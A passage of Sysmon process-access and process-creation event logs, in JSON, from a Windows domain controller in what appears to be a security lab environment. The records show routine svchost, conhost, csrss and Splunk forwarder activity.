System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3312,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.697\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.697","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3313,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.697\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.697","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3314,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.697\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.697","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3315,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.697\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.697","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3316,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.697\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.697","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3317,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.697\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010571E0500}\r\nTargetProcessId: 4292\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.697","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010571E0500}","TargetProcessId":"4292","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3318,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.702\r\nProcessGuid: {90617006-407B-5F2D-0000-0010001F0500}\r\nProcessId: 4340\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nFileVersion: 8.0.2\r\nDescription: splunkd service\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunkd.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool server list general --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010571E0500}\r\nParentProcessId: 4292\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nParentCommandLine: btool server list general --no-log","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.702","ProcessGuid":"{90617006-407B-5F2D-0000-0010001F0500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","FileVersion":"8.0.2","Description":"splunkd service","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunkd.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool server list general --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010571E0500}","ParentProcessId":"4292","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","ParentCommandLine":"btool server list general --no-log","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3319,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.697\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010571E0500}\r\nSourceProcessId: 4292\r\nSourceThreadId: 4336\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010001F0500}\r\nTargetProcessId: 4340\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.697","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010571E0500}","SourceProcessId":"4292","SourceThreadId":"4336","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010001F0500}","TargetProcessId":"4340","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3320,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.697\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010001F0500}\r\nTargetProcessId: 4340\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.697","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010001F0500}","TargetProcessId":"4340","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 